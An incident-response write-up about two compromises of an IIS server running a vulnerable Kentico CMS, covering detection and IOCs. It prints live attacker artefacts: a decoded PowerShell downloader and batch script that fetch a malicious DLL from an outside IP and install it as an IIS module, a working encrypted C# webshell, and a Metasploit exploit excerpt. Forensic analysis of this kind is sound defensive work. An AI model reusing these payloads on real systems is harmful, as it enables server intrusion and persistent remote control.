Two in a row - You mitigated wrong (Kentico CMS RCE)

Table of Contents

How it started

An unhandled exception occurred in w3wp.exe

Figure 1: An unhandled exception occurred in w3wp.exe

The customer contacted us regarding sporadic crashes of the IIS worker process (w3wp.exe). Before engaging an Incident Response company, the customer attempted to resolve the issue by repeatedly restoring the websites from backup. Moreover, they set up an entirely new server and migrated the affected sites to it, only to encounter the same outcomes (crashing the w3wp process). Additionally, the client passed on the following information:

We from the National Cybersecurity Center (NCSC) of Switzerland got notified about an infected domain hosted in your ip range. When you go to one of the affected domains and use a Googlebot useragent example: “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”. Then you get a lot of Backlinks to Vietnamese Websites like here: https://www.idm.ch/Vn/mBLwi7aJ.html and then land on pages like “wavesgamefi (dot) info”

The first part of this investigation was conducted with my colleague Asger Deleuran Strunk.

Chainsaw

For the quick identification of anomalies or suspicious behavior, DetectRaptor is one option, or Chainsaw, as in the following example.

Chainsaw provides a powerful ‘first-response’ capability to quickly identify threats within Windows forensic artefacts such as Event Logs and the MFT file. Chainsaw offers a generic and fast method of searching through event logs for keywords, and by identifying threats using built-in support for Sigma detection rules, and via custom Chainsaw detection rules.

Chainsaw

Figure 2: Chainsaw

Here is a snippet from the Chainsaw results:

fChainsaw results

Figure 3: Chainsaw results

Chainsaw pointed out the executable PrintNotifyPotato.exe inside the C:\ProgramData as suspicious. Well.. because it is: Another potato, using PrintNotify COM service for lifting rights, quoted from the official GitHub repository.

PrintNotifyPotato

Figure 4: PrintNotifyPotato

Within a few minutes into the investigation, we knew the server was 100% compromised. Otherwise, the PrintNotifyPotato.exe would not have been there. Where there’s smoke, there’s fire, suggesting that additional findings are likely awaiting discovery, right?

How it’s going

Within the website’s files, we also discovered suspicious code that initiates a connection to an external domain upon page loading, retrieves content from that external domain, and subsequently integrates this content into the compromised website.

xoso.aspx

Figure 5: xoso.aspx

The funny attacker left a note, asking politely not to delete the xoso.aspx file ;)

Message from the attacker

Figure 6: Message from the attacker

The attacker ran the following command from a batch script, creating a new rewrite rule:

appcmd.exe set config /section:system.webServer/rewrite/globalRules /[name=‘xoso’] action.type:“Rewrite” /[name=‘xoso’] action.url:"/CMSWebParts/Viewers/Effects/Carousel_files/xoso.aspx?id={R:1}" /commit:apphost

A slightly different rewrite rule is also visible from within the IIS config file:

Rewrite rule<

Figure 7: Rewrite rule

The attacker added code to the (legitimate) file PortalTemplate.aspx. Then, whenever any hosted website requested an {anything}.html file, it would attempt to load the xoso.aspx page. This, in turn, requested HTML from a remote server (as we saw before) and returned the content - but only if the user agent contained “oogle” (the Google bot).

PortalTemplate.aspx

Figure 8: PortalTemplate.aspx

Hunting Webshells

By utilizing the Velociraptor Yara hunt and using effective Yara rules (as a starter, use the excellent Thor Webshell yara file), one can thoroughly search for webshells on a host. This approach enables streamlining the search process by narrowing the examination to specific file extensions, thereby reducing search time.

Hunting Webshells with Velociraptor

Figure 9: Hunting Webshells with Velociraptor

Individual IOCs, such as the string “xoso” in our case, can be explicitly searched by creating supplementary Yara Rules (pretty basic, but it gets the job done).

YaraRule

Figure 10: YaraRule

Kentico Remote Code Execution

When examining compromised web servers, I prioritize determining whether a content management system (CMS) is installed and, if so, which one. Frequently, these CMS platforms harbor vulnerabilities that attackers exploit to inject malicious code or compromise the server entirely. In this instance, Kentico was identified on the affected host; the version(s) installed was vulnerable to remote code execution. A technical deep dive into the root cause of vulnerability can be found here.

Kentico Remote Code Execution

Figure 11: Kentico Remote Code Execution

The version of Kentico currently running on the web server can be identified through the file CMS.DataEngine.dll.

CMS.DataEngine.dll

Figure 12: CMS.DataEngine.dll

In addition to the exploit code available on GitHub, there is a Metasploit module for exploiting this vulnerability.

Kentico Remote Code Execution - Rapid 7 Blog

Figure 13: Kentico Remote Code Execution - Rapid 7 Blog

The exploit code reveals that the URL /CMSPages/Staging/SyncServer.asmx must be accessible, which was the case with our CMS.

Kentico SyncServer

Figure 14: Kentico SyncServer

Following an excerpt from the Metasploit exploit code:

def execute_command(cmd, _opts = {})
  sploit = ::Msf::Util::DotNetDeserialization.generate(
    cmd,
    gadget_chain: :WindowsIdentity,
    formatter: :SoapFormatter
  )

  res = send_request_cgi({
    'uri' => normalize_uri(target_uri.path, '/ProcessSynchronizationTaskData'),
    'method' => 'POST',
    'vars_post' => { 'stagingTaskData' => sploit }
  })

Stop the bleeding (almost)

The customer implemented a rewrite rule to block access to all .asmx files unless the access originated within the customer’s specified source range (patching the affected products was not possible at this time).

Rewrite Rule

Figure 15: Rewrite Rule

But.. this rewrite rule came a few days too late, as we will learn a few months later.

Second Investigation (5 months later)

The second part of this investigation was conducted with my colleague Andreas Klaus.

Five months later, the customer notified us again about issues occurring on the same server with the same hosted websites. After deploying a forensic agent on the affected host, our initial investigation focused on examining the PowerShell logs.

powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc 
cABvAHcAZQByAHMAaABlAGwAbAAgAC0AYwAgACIAaQBuAHYAbwBrA
GUALQB3AGUAYgByAGUAcQB1AGUAcwB0ACAALQB1AHIAaQAgAGgAdA
B0AHAAOgAvAC8AMgAxADYALgA4ADMALgA0ADUALgAxADcAMAA6ADkA
MAAvAGQAbABsAC8AZABsAGwALgBiAGEAdAAgAC0AbwB1AHQAZgBpAG
wAZQAgAGMAOgBcAHUAcwBlAHIAcwBcAHAAdQBiAGwAaQBjAFwAZABs
AGwALgBiAGEAdAAiAAoACgA=

Which, after base64 decoding, showed a clear picture:

powershell -c “invoke-webrequest -uri http://216.83.45.170:90/dll/dll.bat -outfile c:\users\public\dll.bat”

The PowerShell command downloads a batch file from the Internet and saves it to a local directory. Again, the server must be compromised in some way or another, otherwise we would not find such traces in the PowerShell logs (the batch file was later executed through another command).

Sysmon

Sysmon was installed on the affected system to find out in more detail which vector was used to execute the malicious code (we used the SwiftOnSecurity configuration file).

Image: C:\Windows\System32\cmd.exe
CommandLine: cmd /c powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc 
cABvAHcAZQByAHMAaABlAGwAbAAgAC0AYwAgACIAaQBuAHYAbwBrAGUALQB3AGUAYgByAGUAc
QB1AGUAcwB0ACAALQB1AHIAaQAgAGgAdAB0AHAAOgAvAC8AMgAxADYALgA4ADMALg
A0ADUALgAxADcAMAA6ADkAMAAvAGQAbABsAC8AZABsAGwALgBiAGEAdAAgAC0AbwB
1AHQAZgBpAGwAZQAgAGMAOgBcAHUAcwBlAHIAcwBcAHAAdQBiAGwAaQBjAFwAZABs
AGwALgBiAGEAdAAiAAoACgA=
CurrentDirectory: c:\windows\system32\inetsrv\
User: NT AUTHORITY\SYSTEM
ParentImage: C:\Windows\System32\inetsrv\w3wp.exe
ParentCommandLine: c:\\windows\\system32\\inetsrv\\w3wp.exe 
-ap \"<redacted>.ch\" -v \"v4.0\" -l \"webengine4.dll\" 
-a \\\\.\\pipe\\iisipm01ab63d7-49fc-4ff5-b5b1-b6acbc56b8f4 
-h \"C:\\inetpub\\temp\\apppools\\<redacted>.ch\\<redacted>.ch.config\" 
-w \"\" -m 0 -t 20 -ta 0
ParentUser: IIS APPPOOL\<redacted>.ch

In the Sysmon log provided above, you can already discern from the ParentCommandLine which AppPool was utilized to execute the following PowerShell command (because of the AppPool as Parent of powershell.exe, we know that the command is coming from the webserver):

powershell.exe -c “invoke-webrequest -uri http://216.83.45.170:90/dll/dll.bat -outfile c:\users\public\dll.bat”

The whole content of dll.bat is shown below, but the tl;dr is that a DLL is downloaded from the Internet and then registered with appcmd:

C:\Windows\system32\inetsrv\appcmd.exe install module /name:HTTPCacheLog /image:C:\Windows\System32\inetsrv\HTTPCacheLog.dll

AppCmd.exe is a command line tool included in IIS 7+ installations used for server management. This module hooks into the BeginRequest IIS http event and looks for custom commands and arguments being passed via the Cookies field of the HTTP header. [1]

dll.bat

@echo off
 
 rem url
set Url=http://216.83.45.170:90/dll/HTTPCacheLog.dll
 
 rem filepath
set Save=%windir%\System32\inetsrv\
 
for %%a in ("%Url%") do set "FileName=%%~nxa"
if not defined Save set "Save=%cd%"
(echo Download Wscript.Arguments^(0^),Wscript.Arguments^(1^)
echo Sub Download^(url,target^)
echo Const adTypeBinary = 1
echo Const adSaveCreateOverWrite = 2
echo Dim http,ado
echo Set http = CreateObject^("Msxml2.ServerXMLHTTP"^)
echo http.open "GET",url,False
echo http.send
echo Set ado = createobject^("Adodb.Stream"^)
echo ado.Type = adTypeBinary
echo ado.Open
echo ado.Write http.responseBody
echo ado.SaveToFile target
echo ado.Close
echo End Sub)>DownloadFile.vbs
 
DownloadFile.vbs "%Url%" "%Save%\%FileName%"
del DownloadFile.vbs

if exist %windir%\System32\inetsrv\HTTPCacheLog.dll %systemroot%\system32\inetsrv\appcmd.exe install module /name:HTTPCacheLog /image:%windir%\System32\inetsrv\HTTPCacheLog.dll

set file_path=%~dp0

ping -n 5 127.0.0.1 > nul

del %file_path%*.txt /q
del %file_path%*.ashx /q
del %file_path%*.bat /q

exit% 

IIS Modules

We find the malicious IIS module (HTTPCacheLog.dll) within the list of installed modules:

appcmd.exe list modules
[..]
MODULE "RewriteModule" ( native, preCondition: )
MODULE "AspNetCoreModuleV2" ( native, preCondition: )
MODULE "HTTPCacheLog" ( native, preCondition: )

The malfunctions experienced when entering specific parameters in the URL, as reported by our customer, were consequently attributed to the malicious DLL registered in the IIS webserver. A more comprehensive investigation of the server found several other web shells that attackers could leverage to execute malicious code on the server. For instance:

WebPartZone.ashx

< % @ Language = "C#"
Class = "Handler1" % >
  public class Handler1: System.Web.IHttpHandler, System.Web.SessionState.IRequiresSessionState {
    public void ProcessRequest(System.Web.HttpContext Context) {
      try {
        string key = "9a281801bb293dc1";
        System.Web.HttpContext nihao = Context;
        byte[] data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(nihao.Request.BinaryRead(nihao.Request.ContentLength), 0, nihao.Request.ContentLength);
        if (nihao.Session["payload"] == null) {
          object[] aaa = new object[] {
            data
          };
          System.Type[] bbb = new System.Type[] {
            typeof (byte[])
          };
          nihao.Session["payload"] = (System.Reflection.Assembly) typeof (System.Reflection.Assembly).GetMethod("Load", bbb).Invoke(null, aaa);
        } else {
          object o = ((System.Reflection.Assembly) nihao.Session["payload"]).CreateInstance("LY");
          System.IO.MemoryStream outStream = new System.IO.MemoryStream();
          o.Equals(outStream);
          o.Equals(nihao);
          o.Equals(data);
          o.ToString();
          byte[] r = outStream.ToArray();
          outStream.Dispose();
          nihao.Response.BinaryWrite(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length));
        }
      } catch (System.Exception) {
        Context.Response.Write("<!--91f1d5329980ce27661fb2ed3f5a20b0-->");
      }
    }
    public bool IsReusable {
      get {
        return false;
      }
    }

These web shells were generated shortly after our last investigation of the host. As we can read on the official webpage from Kentico: Look for files which are not part of the default installation or your custom code → delete them. Typically it could be files named like WebPartZone.ashx, help.aspx, etc. [1]

Conclusion

The two investigations have shown how quickly vulnerabilities in software products can be exploited to place webshells on the server or gain a foothold inside the network. Monitoring this server would have detected an infection or malicious behavior relatively quickly. Be it with the execution of malicious PowerShell code, parent-child (webserver executes PowerShell code), or the placement of known attack tools in suspicious paths (PrintNotifyPotato.exe in C:\ProgramData).

IOC

  • MD5 (dll.bat) = 5ec383d3b3fa4d963ff495a4d13718ef
  • MD5 (HTTPCacheLog.dll) = 2bb6623f618ae0112e7bc4857c1d39d0
  • MD5 (WebPartZone.ashx) = 5da1f7fb34dbc1d67d2442a2b7cfaa9d